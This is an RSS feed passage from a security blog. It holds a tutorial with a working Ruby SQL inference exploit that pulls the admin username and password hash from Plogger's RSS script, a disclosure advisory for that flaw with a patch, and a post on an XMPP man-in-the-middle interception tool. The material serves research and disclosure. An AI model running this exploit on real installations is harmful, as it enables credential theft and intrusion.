			<content:encoded><![CDATA[<p>In the previous article of this series (<a href="/security/sql-injection-inference-attack">sql injection: inference attack</a>) we saw an in introduction to the concept of SQL inference attacks. On <a href="/security/security-advisory-plogger-photo-gallery-sql-injection">security advisory: Plogger Photo Gallery SQL Injection</a> we saw that the <a href="http://www.plogger.org/">Plogger Photo Gallery</a> SQL injection vulnerability was an ideal scenario to study SQL inference attacks.</p>
<p>Now it&#8217;s time to see a hands on example on how to exploit a SQL injection vulnerability using this technique. Please note that the intended audience of this article are security researchers that want to gain a deeper knowledge on the nature and internals of SQL inference attacks.<br />
<span id="more-36"></span><br />
As it is usually the case, depending on the available information beforehand the SQL inference attack that we need to create will vary on its sophistication.</p>
<p>In the Plogger example we have plenty of information, remember that it is and open source tool that you can download and install. However, since SQL inference is a complex vulnerability to exploit a stripped down version of the attack is used in this example. </p>
<p>In the Plogger example we know the underlaying database structure, the field names and the possible values, we will use that knowledge to create a simplified SQL inference attack based on some restrictions. A full blown example of inference attack using binary comparisons is left for the third part of this series of articles.</p>
<p>Let&#8217;s have a look at the interesting bits of <a href="/data/code/ruby/plogger_inference.rb">the code</a> of a proof of concept:-</p>
<div class="hl-surround" ><div class="hl-main"><pre><span class="hl-comment"># configure the parameters of the target system
</span><span class="hl-var">$host</span><span class="hl-default"> = </span><span class="hl-quotes">'</span><span class="hl-string">localhost</span><span class="hl-quotes">'
</span><span class="hl-var">$path</span><span class="hl-default"> = </span><span class="hl-quotes">'</span><span class="hl-string">/gallery/plog-rss.php?level=collection&amp;id=1</span><span class="hl-quotes">'

</span><span class="hl-var">$body_size_success</span><span class="hl-default"> = </span><span class="hl-number">967
</span><span class="hl-var">$body_size_failure</span><span class="hl-default"> = </span><span class="hl-number">322

</span><span class="hl-comment"># configure the parameters of the fields whose values we want to infer
</span><span class="hl-var">$fields</span><span class="hl-default"> = </span><span class="hl-brackets">[</span><span class="hl-quotes">'</span><span class="hl-string">admin_username</span><span class="hl-quotes">'</span><span class="hl-code">, </span><span class="hl-quotes">'</span><span class="hl-string">admin_password</span><span class="hl-quotes">'</span><span class="hl-brackets">]
</span><span class="hl-var">$field_length</span><span class="hl-default"> = </span><span class="hl-brackets">[</span><span class="hl-number">5</span><span class="hl-code">, </span><span class="hl-number">32</span><span class="hl-brackets">]
</span><span class="hl-var">$dictionaries</span><span class="hl-default"> = </span><span class="hl-brackets">[</span><span class="hl-quotes">'</span><span class="hl-string">admin</span><span class="hl-quotes">'</span><span class="hl-code">, </span><span class="hl-quotes">'</span><span class="hl-string">0123456789abcdef</span><span class="hl-quotes">'</span><span class="hl-brackets">]</span></pre></div></div>
<p>The first part of the script contains the configuration information regarding our target. Apart from host name and path to the vulnerable script we define two other sets of information:</p>
<ul>
<li>The <code>$body_size_success</code> needs to be adjusted to match the expected length of a full RSS feed, this is the expected size of the HTML code that a clean execution of the injected SQL will return. This size can be measured by doing a legitimate request to the vulnerable script and noting down the value of the <code>content-length</code> header. Our injected SQL can have two possible outcomes, if we correctly guessed the value we are looking for, an <acronym title="Rich Site Summary">RSS</acronym> feed containing all the elements of the collection will be returned. If on the other hand we make a mistake in our guess, an empty, although syntactically correct, RSS feed will be returned.</li>
<li>Information on the names, expected lengths and possible values found in the fields we want to infer should be provided. As mentioned before, we are taking advantage of the knowledge we have of the back end database:
<ul>
<li>We will try to infer two fields: <code>admin_username</code> and <code>admin_password</code>.</li>
<li>We expect these fields to be of lengths 5 (Ploggers&#8217; default administrative user name is <strong>admin</strong>) and 32 (the password is stored in <acronym title="Message Digest 5">MD5</acronym> hashed format).</li>
<li>We will try the following dictionary for the username: <code>a, d, m, i, n</code> <img src='http://weblog.nomejortu.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  . For the password, all possible Hex values are fair play: <code>0-9, a-f</code>.</li>
</ul>
</li>
</ul>
<p>The next thing to do is to craft a custom SQL query that will execute cleanly:-</p>
<div class="hl-surround" ><div class="hl-main"><pre><span class="hl-comment"># define the SQL string we will be using to actually perform the attack
</span><span class="hl-var">$sql</span><span class="hl-default"> = </span><span class="hl-identifier">CGI</span><span class="hl-default">::</span><span class="hl-identifier">escape</span><span class="hl-brackets">(</span><span class="hl-quotes">'</span><span class="hl-string"> AND 1=(SELECT CASE WHEN (ASCII(SUBSTR(FIELD,POSITION,1))=TEST_VALUE) THEN 1 ELSE 0 END FROM plogger_config)</span><span class="hl-quotes">'</span><span class="hl-brackets">)</span></pre></div></div>
<p>As mentioned in the first article (<a href="/security/sql-injection-inference-attack">sql injection: inference attack</a>) of this series:</p>
<blockquote><p>
At the core of the inference attack is a simple question. If the answer to this question is A then do Y; if the answer is B then do Z.
</p></blockquote>
<p>In this case we are using the <code>SUBSTR</code> function to walk through the different positions of a given field to compare the character at that position with the one at <code>TEST_VALUE</code>. This is done in the following section of the script:-</p>
<div class="hl-surround" style="height:280px;"><div class="hl-main"><pre><span class="hl-comment"># for each field, from position 1 to that defined in $field_length, iterate
# through the different values of our dictionary and send the SQL query.
</span><span class="hl-var">$fields</span><span class="hl-default">.</span><span class="hl-identifier">each </span><span class="hl-reserved">do</span><span class="hl-default"> |</span><span class="hl-identifier">field</span><span class="hl-default">|
  </span><span class="hl-identifier">dict</span><span class="hl-default"> = </span><span class="hl-var">$dictionaries</span><span class="hl-default">.</span><span class="hl-identifier">shift
  size</span><span class="hl-default"> = </span><span class="hl-var">$field_length</span><span class="hl-default">.</span><span class="hl-identifier">shift
  inferred</span><span class="hl-default"> = </span><span class="hl-quotes">''
  </span><span class="hl-identifier">puts </span><span class="hl-quotes">&quot;</span><span class="hl-string">Inferring #{field}</span><span class="hl-quotes">&quot;
  </span><span class="hl-identifier">puts </span><span class="hl-quotes">'</span><span class="hl-string">==================</span><span class="hl-quotes">'
  </span><span class="hl-identifier">sql1</span><span class="hl-default"> = </span><span class="hl-var">$sql</span><span class="hl-default">.</span><span class="hl-identifier">sub</span><span class="hl-brackets">(</span><span class="hl-quotes">/</span><span class="hl-string">FIELD</span><span class="hl-quotes">/</span><span class="hl-code">,</span><span class="hl-identifier">field</span><span class="hl-brackets">)
  (</span><span class="hl-number">1.</span><span class="hl-code">.</span><span class="hl-identifier">size</span><span class="hl-brackets">)</span><span class="hl-default">.</span><span class="hl-identifier">each </span><span class="hl-reserved">do</span><span class="hl-default"> |</span><span class="hl-identifier">i</span><span class="hl-default">|
    </span><span class="hl-identifier">print </span><span class="hl-quotes">&quot;</span><span class="hl-special">\t</span><span class="hl-string">Position #{i}: </span><span class="hl-quotes">&quot;
    </span><span class="hl-identifier">sql</span><span class="hl-default"> = </span><span class="hl-identifier">sql1</span><span class="hl-default">.</span><span class="hl-identifier">sub</span><span class="hl-brackets">(</span><span class="hl-quotes">/</span><span class="hl-string">POSITION</span><span class="hl-quotes">/</span><span class="hl-code">,</span><span class="hl-identifier">i</span><span class="hl-code">.</span><span class="hl-identifier">to_s</span><span class="hl-brackets">)
    (</span><span class="hl-number">0.</span><span class="hl-code">.</span><span class="hl-brackets">(</span><span class="hl-identifier">dict</span><span class="hl-code">.</span><span class="hl-identifier">size</span><span class="hl-code">-</span><span class="hl-number">1</span><span class="hl-brackets">))</span><span class="hl-default">.</span><span class="hl-identifier">each </span><span class="hl-reserved">do</span><span class="hl-default"> |</span><span class="hl-identifier">j</span><span class="hl-default">|
      </span><span class="hl-identifier">value</span><span class="hl-default"> = </span><span class="hl-identifier">dict</span><span class="hl-brackets">[</span><span class="hl-identifier">j</span><span class="hl-brackets">]
      </span><span class="hl-identifier">resp</span><span class="hl-default"> = </span><span class="hl-identifier">http</span><span class="hl-default">.</span><span class="hl-identifier">get</span><span class="hl-brackets">(</span><span class="hl-var">$path</span><span class="hl-code"> + </span><span class="hl-identifier">sql</span><span class="hl-code">.</span><span class="hl-identifier">sub</span><span class="hl-brackets">(</span><span class="hl-quotes">/</span><span class="hl-string">TEST_VALUE</span><span class="hl-quotes">/</span><span class="hl-code">, </span><span class="hl-identifier">value</span><span class="hl-code">.</span><span class="hl-identifier">to_s</span><span class="hl-brackets">))

      </span><span class="hl-comment"># a particular iteration is successful if the size of the body obtained
      # matches the value we expect
      </span><span class="hl-reserved">if </span><span class="hl-brackets">(</span><span class="hl-identifier">resp</span><span class="hl-code">.</span><span class="hl-identifier">body</span><span class="hl-code">.</span><span class="hl-identifier">size</span><span class="hl-code"> == </span><span class="hl-var">$body_size_success</span><span class="hl-brackets">)
        </span><span class="hl-identifier">puts value</span><span class="hl-default">.</span><span class="hl-identifier">chr
        inferred</span><span class="hl-default"> &lt;&lt; </span><span class="hl-identifier">value</span><span class="hl-default">.</span><span class="hl-identifier">chr
        </span><span class="hl-reserved">break
      end
    end
  end
  </span><span class="hl-identifier">puts </span><span class="hl-quotes">&quot;</span><span class="hl-special">\t</span><span class="hl-string">Inferred value: #{inferred}</span><span class="hl-quotes">&quot;
  </span><span class="hl-var">$results</span><span class="hl-default"> &lt;&lt; </span><span class="hl-identifier">inferred
</span><span class="hl-reserved">end</span></pre></div></div>
<p>The comments in the previous code should give sufficient insight to understand the process. The bottom line: we need to make a series of checks for each position of the value we want to infer. Thes checks have two possible different outcomes, in our case, two different lengths of the HTML code, depending on these outcomes we can infer whether our guess was right or wrong.</p>
<p>As a final note, it should be clear that the specifics of the SQL query, as with any SQL injection attack, is highly dependant on the SQL engine that we are attacking and the SQL functions available in this engine.</p>
<img src="http://weblog.nomejortu.com/?ak_action=api_record_view&id=36&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://weblog.nomejortu.com/ruby/sql-injection-inference-attack-part-2/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>security advisory: Plogger Photo Gallery SQL Injection</title>
		<link>http://weblog.nomejortu.com/security/security-advisory-plogger-photo-gallery-sql-injection</link>
		<comments>http://weblog.nomejortu.com/security/security-advisory-plogger-photo-gallery-sql-injection#comments</comments>
		<pubDate>Wed, 19 Dec 2007 19:19:40 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://weblog.nomejortu.com/?p=35</guid>
		<description><![CDATA[Plogger is an open source PHP photo gallery with over two years of development and more than 50,000 downloads. The Plogger web site (http://www.plogger.org), describes the application as a fully featured photo sharing package with an attractive and easy to use administrative interface.
It was found that insufficient validation was applied to the input parameters of [...]]]></description>
			<content:encoded><![CDATA[<p>Plogger is an open source PHP photo gallery with over two years of development and more than 50,000 downloads. The Plogger web site (<a href="http://www.plogger.org">http://www.plogger.org</a>), describes the application as a fully featured photo sharing package with an attractive and easy to use administrative interface.</p>
<p>It was found that insufficient validation was applied to the input parameters of the script that generates Plogger&#8217;s RSS feeds. As a result, SQL code could be injected into Plogger database queries (read the security advisory &#8211; <a href="http://www.mwrinfosecurity.com/publications/mwri_plogger-photo-gallery-sql-injection-vulnerability_2007-12-17.pdf">mirror #1</a>, <a href="/data/files/mwri_plogger-photo-gallery-sql-injection-vulnerability_2007-12-17.pdf">mirror #2</a>).</p>
<p><strong>update</strong>: this vulnerability has been assigned the following <acronym title="Common Vulnerabilities and Exposures">CVE</acronym> number: <a href="http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-6587">CVE-2007-6587</a>.<br />
<span id="more-35"></span></p>
<p>The vulnerability results from the following PHP code:-</p>
<div class="hl-surround" ><div class="hl-main"><pre><span class="hl-default">&lt; ?php
//...
$id = isset($_GET[&quot;id&quot;]) ? $_GET[&quot;id&quot;] : &quot;&quot;;
//...
?&gt;</span></pre></div></div>
<p>As can be observed, the value of the id parameter is fetched and no input validation is performed. This value is then passed to another function that includes it as part of a database query.</p>
<p>Further investigation revealed that the injected code would be executed in two separate SQL queries:-<br />
<strong>Query 1</strong></p>
<div class="hl-surround" ><div class="hl-main"><pre><span class="hl-reserved">SELECT </span><span class="hl-var">COUNT</span><span class="hl-brackets">(</span><span class="hl-reserved">DISTINCT </span><span class="hl-identifier">p</span><span class="hl-code">.</span><span class="hl-quotes">`</span><span class="hl-identifier">id</span><span class="hl-quotes">`</span><span class="hl-brackets">) </span><span class="hl-reserved">AS </span><span class="hl-identifier">cnt 
  </span><span class="hl-reserved">FROM </span><span class="hl-quotes">`</span><span class="hl-identifier">plogger_pictures</span><span class="hl-quotes">` `</span><span class="hl-identifier">p</span><span class="hl-quotes">`
  </span><span class="hl-reserved">LEFT JOIN </span><span class="hl-quotes">`</span><span class="hl-identifier">plogger_comments</span><span class="hl-quotes">` `</span><span class="hl-identifier">c</span><span class="hl-quotes">` </span><span class="hl-reserved">ON </span><span class="hl-quotes">`</span><span class="hl-identifier">p</span><span class="hl-quotes">`</span><span class="hl-default">.</span><span class="hl-quotes">`</span><span class="hl-identifier">id</span><span class="hl-quotes">`</span><span class="hl-default">=</span><span class="hl-quotes">`</span><span class="hl-identifier">c</span><span class="hl-quotes">`</span><span class="hl-default">.</span><span class="hl-quotes">`</span><span class="hl-identifier">parent_id</span><span class="hl-quotes">`
  </span><span class="hl-reserved">WHERE </span><span class="hl-identifier">p</span><span class="hl-default">.</span><span class="hl-quotes">`</span><span class="hl-identifier">parent_collection</span><span class="hl-quotes">`</span><span class="hl-default"> = [</span><span class="hl-identifier">injected code</span><span class="hl-default">]</span></pre></div></div>
<p><strong>Query 1</strong></p>
<div class="hl-surround" ><div class="hl-main"><pre><span class="hl-reserved">SELECT </span><span class="hl-identifier">p</span><span class="hl-default">.*,
  </span><span class="hl-identifier">UNIX_TIMESTAMP</span><span class="hl-brackets">(</span><span class="hl-quotes">`</span><span class="hl-identifier">date_submitted</span><span class="hl-quotes">`</span><span class="hl-brackets">) </span><span class="hl-reserved">AS </span><span class="hl-quotes">`</span><span class="hl-identifier">unix_date_submitted</span><span class="hl-quotes">`</span><span class="hl-default">,
  </span><span class="hl-identifier">UNIX_TIMESTAMP</span><span class="hl-brackets">(</span><span class="hl-quotes">`</span><span class="hl-identifier">EXIF_date_taken</span><span class="hl-quotes">`</span><span class="hl-brackets">) </span><span class="hl-reserved">AS </span><span class="hl-quotes">`</span><span class="hl-identifier">unix_exif_date_taken</span><span class="hl-quotes">`</span><span class="hl-default">,
  </span><span class="hl-var">COUNT</span><span class="hl-brackets">(</span><span class="hl-quotes">`</span><span class="hl-identifier">comment</span><span class="hl-quotes">`</span><span class="hl-brackets">) </span><span class="hl-reserved">AS </span><span class="hl-quotes">`</span><span class="hl-identifier">num_comments</span><span class="hl-quotes">`
</span><span class="hl-reserved">FROM </span><span class="hl-quotes">`</span><span class="hl-identifier">plogger_pictures</span><span class="hl-quotes">` `</span><span class="hl-identifier">p</span><span class="hl-quotes">`
</span><span class="hl-reserved">LEFT JOIN </span><span class="hl-quotes">`</span><span class="hl-identifier">plogger_comments</span><span class="hl-quotes">` `</span><span class="hl-identifier">c</span><span class="hl-quotes">` </span><span class="hl-reserved">ON </span><span class="hl-quotes">`</span><span class="hl-identifier">p</span><span class="hl-quotes">`</span><span class="hl-default">.</span><span class="hl-quotes">`</span><span class="hl-identifier">id</span><span class="hl-quotes">`</span><span class="hl-default">=</span><span class="hl-quotes">`</span><span class="hl-identifier">c</span><span class="hl-quotes">`</span><span class="hl-default">.</span><span class="hl-quotes">`</span><span class="hl-identifier">parent_id</span><span class="hl-quotes">`
</span><span class="hl-reserved">WHERE </span><span class="hl-identifier">p</span><span class="hl-default">.</span><span class="hl-quotes">`</span><span class="hl-identifier">parent_collection</span><span class="hl-quotes">`</span><span class="hl-default"> = [</span><span class="hl-identifier">injected code</span><span class="hl-default">]
</span><span class="hl-reserved">GROUP BY </span><span class="hl-identifier">p</span><span class="hl-default">.</span><span class="hl-quotes">`</span><span class="hl-identifier">id</span><span class="hl-quotes">` </span><span class="hl-reserved">ORDER BY </span><span class="hl-quotes">`</span><span class="hl-identifier">id</span><span class="hl-quotes">` </span><span class="hl-reserved">DESC</span><span class="hl-default">,</span><span class="hl-identifier">p</span><span class="hl-default">.</span><span class="hl-quotes">`</span><span class="hl-identifier">id</span><span class="hl-quotes">` </span><span class="hl-reserved">DESC LIMIT </span><span class="hl-number">0</span><span class="hl-default">,</span><span class="hl-number">15</span></pre></div></div>
<p>These two statements are completely different and although it is possible that an SQLstatement could be found that would fit both and would deliver the desired output in-band, other techniques were found to be more appropriate in this case.</p>
<p><strong>Exploit Information</strong><br />
Depending on the injected code, the server will return an error from either the first or the second query, or the queries will execute cleanly with no errors at all. This is an ideal scenario for SQL Injection inference attacks.</p>
<p>Source code inspection revealed that the first query is used to gather the number of images available in the database. This can be used to craft an exploit by inspecting interesting fields in the database and altering the script output depending on these values. For example, the results of the first query could be arranged to contain either a zero or the real number of available images. This, of course, would affect the output of the script. In one case, the RSS feed would contain no images, in the other, it would contain the correct number.</p>
<h3>Recommendations</h3>
<p>This issue was addressed in the <a href="http://dev.plogger.org/changeset/489">changeset 489</a>. It is recommended that all installations of the software be upgraded to the secure version now available from the <a href="http://www.plogger.org/">vendor&#8217;s site</a>. However as an interim workaround the source code of <strong>plog-rss.php</strong> (line 103) could be patched like this:</p>
<div class="hl-surround" ><div class="hl-main"><pre><span class="hl-default">&lt; ?php
//...
$id = isset($_GET[&quot;id&quot;]) ? intval($_GET[&quot;id&quot;]) : &quot;&quot;;
//...
?&gt;</span></pre></div></div>
<p>To reduce the level of risk to which users of the software are exposed it is further advised that the application be run under a database user account with the lowest level of privilege possible.</p>
<img src="http://weblog.nomejortu.com/?ak_action=api_record_view&id=35&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://weblog.nomejortu.com/security/security-advisory-plogger-photo-gallery-sql-injection/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>xmitm: xml man in the middle</title>
		<link>http://weblog.nomejortu.com/shell-script/xml-man-in-the-middle-xmitm</link>
		<comments>http://weblog.nomejortu.com/shell-script/xml-man-in-the-middle-xmitm#comments</comments>
		<pubDate>Sun, 16 Dec 2007 20:47:05 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[Networking]]></category>
		<category><![CDATA[Ruby]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Shell Script]]></category>

		<guid isPermaLink="false">http://weblog.nomejortu.com/?p=38</guid>
		<description><![CDATA[This post is a result of ideas and tools developed during the review of  client-side applications that use the XMPP protocol to communicate with a server (opening a raw socket, not using HTTP as a transport).
The only way we could think of getting our hands on the communication was to write a small set [...]]]></description>
			<content:encoded><![CDATA[<p>This post is a result of ideas and tools developed during the review of  client-side applications that use the <a href="http://www.xmpp.org/">XMPP</a> protocol to communicate with a server (opening a raw socket, not using HTTP as a transport).</p>
<p>The only way we could think of getting our hands on the communication was to write a small set of scripts to trick the client and encapsulate the communication inside HTTP requests that we could then manipulate using standard proxy tools such as <a href="http://www.portswigger.net/suite/">burp</a>.</p>
<p>Although the information and scripts described in this post are focussed on intercepting a XML communication, the same principles apply to man in the middle any ASCII protocol such as smtp, ftp or pop.</p>
<p><strong>update</strong>: slides available <a href="/data/files/xmitm-slides_2008-02-07.pdf">here</a><br />
<span id="more-38"></span></p>
<p>The first step is to trick the client to connect to our local box instead of connecting to the remote server, this is done by adjusting the <a href="http://en.wikipedia.org/wiki/Hosts_file">hosts file</a>.</p>
<p><center><img src="/data/img/xmitm_01.jpg" height="329" width="320" alt="Standard flow of communication"/></center></p>
<p>A ruby script will sit in the middle of the communication and will be able to intercept and modify messages sent and received by the client:- </p>
<p><center><img src="/data/img/xmitm_02.jpg" height="250" width="393"  alt="xmitm sits between client and server and intercepts the communication"/></center></p>
<p>Once this is done, our <em>attack</em> will need three elements:</p>
<ul>
<li>the <strong>xmitm</strong> script.</li>
<li>an external web proxy tool.</li>
<li>a dummy web server.</li>
</ul>
<p>The script will intercept the connection and send the data to the proxy. We need the dummy server (the body of the response will be the body of the request) to close the loop with the proxy (<del>I will add some nice graphs to clarify this soon</del>).</p>
<p><center><img src="/data/img/xmitm_03.jpg" width="469" height="293" alt="The original message is passed through the proxy to let the user modify it."/></center></p>
<p>The original XML message is encapsulated in an HTTP request and passed through the proxy. The user can inspect and modify the message using a standard web proxy tool. The request is then forwared to a dummy <strong>*echo*</strong> web server that replies with the same payload that was requested. The script can extract the modified payload and forward it to the server.</p>
<p>The same process is applied to incoming messages.</p>
<p>Below is the main body of the script (you can also grab the <a href="/data/code/ruby/xmitm.rb">code</a>):-</p>
<div class="hl-surround" style="height:280px;"><div class="hl-main"><pre><span class="hl-comment"># create a server that accepts connections from the client
</span><span class="hl-identifier">server</span><span class="hl-default"> = </span><span class="hl-identifier">TCPServer</span><span class="hl-default">.</span><span class="hl-identifier">new</span><span class="hl-brackets">(</span><span class="hl-var">$local_host</span><span class="hl-code">, </span><span class="hl-var">$local_port</span><span class="hl-brackets">)

</span><span class="hl-reserved">while</span><span class="hl-brackets">(</span><span class="hl-identifier">local</span><span class="hl-code"> = </span><span class="hl-identifier">server</span><span class="hl-code">.</span><span class="hl-identifier">accept </span><span class="hl-brackets">) </span><span class="hl-reserved">do
  </span><span class="hl-comment"># everytime we accept a connection for the client, we open a connection
  # with the server to stablish the dialog.
  </span><span class="hl-identifier">remote</span><span class="hl-default"> = </span><span class="hl-identifier">TCPSocket</span><span class="hl-default">.</span><span class="hl-identifier">new</span><span class="hl-brackets">(</span><span class="hl-var">$remote_host</span><span class="hl-code">, </span><span class="hl-var">$remote_port</span><span class="hl-brackets">)
  
  </span><span class="hl-comment"># if one of the ends of the communication closes the socket, we
  # toggle this flag
  </span><span class="hl-identifier">alive</span><span class="hl-default"> = </span><span class="hl-reserved">true
    
  while </span><span class="hl-identifier">alive </span><span class="hl-reserved">do
    </span><span class="hl-comment"># see the explanation below
    </span><span class="hl-identifier">result</span><span class="hl-default"> = </span><span class="hl-identifier">select</span><span class="hl-brackets">([</span><span class="hl-identifier">local</span><span class="hl-code">, </span><span class="hl-identifier">remote</span><span class="hl-brackets">]</span><span class="hl-code">, </span><span class="hl-reserved">nil</span><span class="hl-code">, </span><span class="hl-reserved">nil</span><span class="hl-brackets">)
  
    </span><span class="hl-reserved">if </span><span class="hl-identifier">result</span><span class="hl-default"> != </span><span class="hl-reserved">nil then
      for </span><span class="hl-identifier">socket </span><span class="hl-reserved">in </span><span class="hl-identifier">result</span><span class="hl-brackets">[</span><span class="hl-number">0</span><span class="hl-brackets">]

        </span><span class="hl-comment"># detect if one end of the connection is closed and
        # close the other end
        </span><span class="hl-reserved">if </span><span class="hl-brackets">(</span><span class="hl-identifier">socket</span><span class="hl-code">.</span><span class="hl-identifier">eof</span><span class="hl-code">?</span><span class="hl-brackets">)
          </span><span class="hl-identifier">local</span><span class="hl-default">.</span><span class="hl-identifier">close
          remote</span><span class="hl-default">.</span><span class="hl-identifier">close
          alive</span><span class="hl-default"> = </span><span class="hl-reserved">false
          break
        end
        
        </span><span class="hl-comment"># read the information that one peer wants to send to the other
        </span><span class="hl-identifier">data</span><span class="hl-default"> = </span><span class="hl-identifier">socket</span><span class="hl-default">.</span><span class="hl-identifier">gets</span><span class="hl-brackets">(</span><span class="hl-var">$eom</span><span class="hl-brackets">)

        </span><span class="hl-comment"># encapsulate the data into an HTTP proxy request
        </span><span class="hl-identifier">res</span><span class="hl-default"> = </span><span class="hl-identifier">Net</span><span class="hl-default">::</span><span class="hl-identifier">HTTP</span><span class="hl-default">.</span><span class="hl-identifier">new</span><span class="hl-brackets">(</span><span class="hl-var">$proxy_host</span><span class="hl-code">, </span><span class="hl-var">$proxy_port</span><span class="hl-brackets">)</span><span class="hl-default">.</span><span class="hl-identifier">start </span><span class="hl-reserved">do</span><span class="hl-default"> |</span><span class="hl-identifier">http</span><span class="hl-default">| 
          </span><span class="hl-identifier">req</span><span class="hl-default"> = </span><span class="hl-identifier">Net</span><span class="hl-default">::</span><span class="hl-identifier">HTTP</span><span class="hl-default">::</span><span class="hl-identifier">Post</span><span class="hl-default">.</span><span class="hl-identifier">new</span><span class="hl-brackets">(</span><span class="hl-quotes">&quot;</span><span class="hl-string">http://#{$dummyhttp_host}:#{$dummyhttp_port}/</span><span class="hl-quotes">&quot;</span><span class="hl-brackets">)
          </span><span class="hl-identifier">req</span><span class="hl-default">.</span><span class="hl-identifier">body</span><span class="hl-default">= </span><span class="hl-identifier">data
          http</span><span class="hl-default">.</span><span class="hl-identifier">request</span><span class="hl-brackets">(</span><span class="hl-identifier">req</span><span class="hl-brackets">)
        </span><span class="hl-reserved">end

        </span><span class="hl-identifier">modified_data</span><span class="hl-default"> = </span><span class="hl-identifier">res</span><span class="hl-default">.</span><span class="hl-identifier">body</span><span class="hl-default">.</span><span class="hl-identifier">chomp

        </span><span class="hl-comment"># send the modified data to the other end of the connection        
        </span><span class="hl-reserved">if </span><span class="hl-brackets">(</span><span class="hl-identifier">socket</span><span class="hl-code"> == </span><span class="hl-identifier">local</span><span class="hl-brackets">)
          </span><span class="hl-identifier">remote</span><span class="hl-default">.</span><span class="hl-identifier">puts</span><span class="hl-brackets">(</span><span class="hl-identifier">modified_data</span><span class="hl-brackets">)
        </span><span class="hl-reserved">else
          </span><span class="hl-identifier">local</span><span class="hl-default">.</span><span class="hl-identifier">puts</span><span class="hl-brackets">(</span><span class="hl-identifier">modified_data</span><span class="hl-brackets">)
        </span><span class="hl-reserved">end
        </span><span class="hl-identifier">socket</span><span class="hl-default">.</span><span class="hl-identifier">flush
      </span><span class="hl-reserved">end
    end
  end
end</span></pre></div></div>
<p>What the script does can be summarized in the following steps:</p>
<ol>
<li>Create a TCP server, listening on the port the client is expecting.</li>
<li>For each connection accepted:
<ul>
<li>Open a connection with the remote server.</li>
<li>Wait until one end of the communication (first the client, then the server, then the client, etc.) has something to transmit.</li>
<li>Grab the XML message.</li>
<li>Put that message as a payload of a new <a href="http://www.ruby-doc.org/stdlib/libdoc/net/http/rdoc/classes/Net/HTTP.html">Net::HTTP::Post</a> request.</li>
<li>Send the request to the external web proxy.</li>
<li>Grab the body of the response given by the proxy (already modified by the user using the external proxy).</li>
<li>Send the modified request to the other end of the line.</li>
</ul>
</li>
</ol>
<p>The most interesting piece of the code is the one regarding <a href="http://ruby-doc.org/docs/ProgrammingRuby/html/ref_m_kernel.html#Kernel.select">Kernel#select</a> function that waits for data to become available from input/output devices. </p>
<p>A note regarding the specifics of the protocol we were dealing with, each peer ends its messages using a special character (a <code>NULL</code> byte), that caracter is defined in the <code>$eom</code> variable and the script keeps reading the socket until that <em>end of message</em> character is read.</p>
<p>The last piece of the puzzle is the dummy HTTP server. I coded two flavours: a <a href="/data/code/ruby/webrick.rb">ruby version</a> and a <a href="/data/code/java/SimpleHTTPServer.java">java version</a> (<del>not yet available for download</del> based on the <a href="http://www.oreilly.com/catalog/javanp2/chapter/ch11.html#53648">SingleFileHTTPServer example</a>). You can pick your choice. Here is the ruby one:-</p>
<div class="hl-surround" ><div class="hl-main"><pre><span class="hl-reserved">require </span><span class="hl-quotes">'</span><span class="hl-string">webrick</span><span class="hl-quotes">'

</span><span class="hl-identifier">include WEBrick

</span><span class="hl-comment"># create the server, no output, disable logging
</span><span class="hl-identifier">s</span><span class="hl-default"> = </span><span class="hl-identifier">HTTPServer</span><span class="hl-default">.</span><span class="hl-identifier">new</span><span class="hl-brackets">(</span><span class="hl-code">
  :</span><span class="hl-identifier">Port</span><span class="hl-code"> =&gt; </span><span class="hl-number">2000</span><span class="hl-code">,
  :</span><span class="hl-identifier">Logger</span><span class="hl-code"> =&gt; </span><span class="hl-identifier">Log</span><span class="hl-code">.</span><span class="hl-identifier">new</span><span class="hl-brackets">(</span><span class="hl-reserved">nil</span><span class="hl-code">, </span><span class="hl-identifier">BasicLog</span><span class="hl-code">::</span><span class="hl-identifier">FATAL</span><span class="hl-brackets">)</span><span class="hl-code">,
  :</span><span class="hl-identifier">AccessLog</span><span class="hl-code"> =&gt; </span><span class="hl-brackets">[]  )

</span><span class="hl-comment"># the *echo* functionality
</span><span class="hl-identifier">s</span><span class="hl-default">.</span><span class="hl-identifier">mount_proc</span><span class="hl-brackets">(</span><span class="hl-quotes">&quot;</span><span class="hl-string">/</span><span class="hl-quotes">&quot;</span><span class="hl-brackets">) </span><span class="hl-reserved">do</span><span class="hl-default"> |</span><span class="hl-identifier">req</span><span class="hl-default">, </span><span class="hl-identifier">res</span><span class="hl-default">|
  </span><span class="hl-identifier">res</span><span class="hl-default">.</span><span class="hl-identifier">body</span><span class="hl-default"> = </span><span class="hl-identifier">req</span><span class="hl-default">.</span><span class="hl-identifier">body
  res</span><span class="hl-brackets">[</span><span class="hl-quotes">'</span><span class="hl-string">Content-Type</span><span class="hl-quotes">'</span><span class="hl-brackets">]</span><span class="hl-default"> = </span><span class="hl-identifier">req</span><span class="hl-brackets">[</span><span class="hl-quotes">'</span><span class="hl-string">Content-Type</span><span class="hl-quotes">'</span><span class="hl-brackets">]
</span><span class="hl-reserved">end

</span><span class="hl-comment"># clean tear down
</span><span class="hl-identifier">trap</span><span class="hl-brackets">(</span><span class="hl-quotes">'</span><span class="hl-string">INT</span><span class="hl-quotes">'</span><span class="hl-brackets">)</span><span class="hl-default"> { </span><span class="hl-identifier">s</span><span class="hl-default">.</span><span class="hl-identifier">shutdown</span><span class="hl-default"> }

</span><span class="hl-identifier">s</span><span class="hl-default">.</span><span class="hl-identifier">start</span></pre></div></div>
<p>And this completes the XML protocol man-in-the-middle <acronym title="Do It Yourself">DIY</acronym> kit. Hope you find it useful. <img src='http://weblog.nomejortu.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<img src="http://weblog.nomejortu.com/?ak_action=api_record_view&id=38&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://weblog.nomejortu.com/shell-script/xml-man-in-the-middle-xmitm/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
